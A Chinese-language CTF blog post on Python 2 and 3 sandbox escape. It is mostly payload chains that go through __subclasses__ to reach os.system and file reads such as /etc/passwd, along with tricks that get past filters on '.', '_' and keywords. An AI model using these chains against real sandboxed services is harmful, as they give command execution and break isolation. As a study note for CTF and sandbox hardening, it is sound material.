NEKO

Python Sandbox Excape

2018/09/10

打了下比赛,发现python沙盒逃逸的东西有些遗忘,从头再记录一遍。

python2

python中对一个变量应用class方法从一个变量实例转到对应的对象类型后,类有以下三种关于继承关系的方法

__base__ 对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ 同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__subclasses__() 继承此对象的子类,返回一个列表

1
2
3
4
>>> [().__class__.__bases__[i].__name__ for i in range(len(().__class__.__bases__))]
['object']
>>> [().__class__.__mro__[i].__name__ for i in range(len(().__class__.__mro__))]
['tuple', 'object']

所以一般构造payload时,都是基于:

1
2
[].__class__.__base__[0].__subclasses__()
[].__class__.__mro__[-1].__subclasses__()

看下subclasses()下的方法:

1
2
>>> [().__class__.__bases__[0].__subclasses__()[i].__name__ for i in range(len(().__class__.__bases__[0].__subclasses__()))]
['type', 'weakref', 'weakcallableproxy', 'weakproxy', 'int', 'basestring', 'bytearray', 'list', 'NoneType', 'NotImplementedType', 'traceback', 'super', 'xrange', 'dict', 'set', 'slice', 'staticmethod', 'complex', 'float', 'buffer', 'long', 'frozenset', 'property', 'memoryview', 'tuple', 'enumerate', 'reversed', 'code', 'frame', 'builtin_function_or_method', 'instancemethod', 'function', 'classobj', 'dictproxy', 'generator', 'getset_descriptor', 'wrapper_descriptor', 'instance', 'ellipsis', 'member_descriptor', 'file', 'PyCapsule', 'cell', 'callable-iterator', 'iterator', 'long_info', 'float_info', 'EncodingMap', 'fieldnameiterator', 'formatteriterator', 'version_info', 'flags', 'BaseException', 'module', 'NullImporter', 'zipimporter', 'stat_result', 'statvfs_result', 'WarningMessage', 'catch_warnings', '_IterationGuard', 'WeakSet', 'Hashable', 'classmethod', 'Iterable', 'Sized', 'Container', 'Callable', 'dict_keys', 'dict_items', 'dict_values', '_Printer', '_Helper', 'SRE_Pattern', 'SRE_Match', 'SRE_Scanner', 'Quitter', 'IncrementalEncoder', 'IncrementalDecoder']

比较有用的有: ‘file’,’catch_warnings’
使用file方法可以读取文件:

1
2
3
>>> [().__class__.__bases__[0].__subclasses__()[i].__name__ for i in range(len(().__class__.__bases__[0].__subclasses__()))].index('file')
40
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()

而’catch_warnings’可以进一步构造来执行命令。

1
[].__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__['os'].__dict__['system']('ls')

一般payload:

1
2
3
4
5
6
7
8
9
10
11
__import__("o"+"s").__getattribute__('sys'+'tem')("l"+"s")

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).__getattribute__('sys'+'tem')('l'+'s')

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

还有一种题是知道函数名的,下面提供一些获取函数信息的方法:

1
2
3
4
5
6
def fun(x=1):
# nothing here
a=x*2
flag='neko'
return a
print fun.func_code.co_consts

result:

1
(None, 2, 'neko')


返回当前全局符号表:

1
2
3
4
5
6
def fun(x=1):
# nothing here
a=x*2
flag='neko'
return a
print fun.func_globals

result:

1
{'__builtins__': <module '__builtin__' (built-in)>, '__file__': '/Users/n3k0/PycharmProjects/neko/test.py', '__package__': None, 'fun': <function fun at 0x104b89758>, '__name__': '__main__', '__doc__': None}

这里没看到什么有用信息,但有时有奇效.

一些trick:

1 使用getattr取代.

如果.被waf,可以用getattr()来替代。

介绍下getattr():

1
2
3
4
5
6
7
8
9
10
11
12
>>> class test():
... name="xiaohua"
... def run(self):
... return "HelloWord"
...
>>> t=test()
>>> getattr(t, "name") #获取name属性,存在就打印出来。
'xiaohua'
>>> getattr(t, "run") #获取run方法,存在就打印出方法的内存地址。
<bound method test.run of <__main__.test instance at 0x0269C878>>
>>> getattr(t, "run")() #获取run方法,后面加括号可以将这个方法运行。
'HelloWord'

payload

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

过程:

  • 1
1
[].__class__

可以转换为

1
getattr([],'__class__')

  • 2
1
[].__class__.__base__

可以转换为

1
getattr(getattr([],'__class__'),'__base__')

  • 3
1
[].__class__.__base__.__subclasses__()[59]

可以转换为

1
getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]

注意最后多了()

  • 4
    1
    [].__class__.__base__.__subclasses__()[59].__init__

可以转换为

1
getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__')

  • 5
    1
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']

可以转换为

1
getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache']

  • 6
    1
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os']

可以转换为

1
getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os']

  • 最后的payload
1
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')

这种方法的好处是绕过.并且函数名或属性名都用字符串的方式写入payload中,那么可拓展的方法就更花里胡哨了,此处不多拓展

2. _ to dir(0)[0][0]

此trick需要配合trick1,属于trick1最后提到的拓展。
如果_被waf了,可以用dir(0)[0][0]代替,比如trick1的payload可以转换为

1
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')

3. 使用__getattribute__()函数

此trick完全可以用trick1取代,但比较方便,也是将函数名或属性名转换为字符串。
应用场景: 比如说一个沙盒waf了’ls’导致属性’globals’不能用,那么payload

1
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')

就可以转换为

1
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

python3

以下payload或许不适用于python3.7
python3的沙盒绕过比较少见,但思路和python2一致,提供几个基础的payload:

1
2
3
4
5
6
7
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

原文作者: n3k0

发表日期: September 10th 2018, 8:58:23

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. python2
    1. 1.1. 一些trick:
      1. 1.1.1. 1 使用getattr取代.
    2. 1.2. 2. _ to dir(0)[0][0]
    3. 1.3. 3. 使用__getattribute__()函数
  2. 2. python3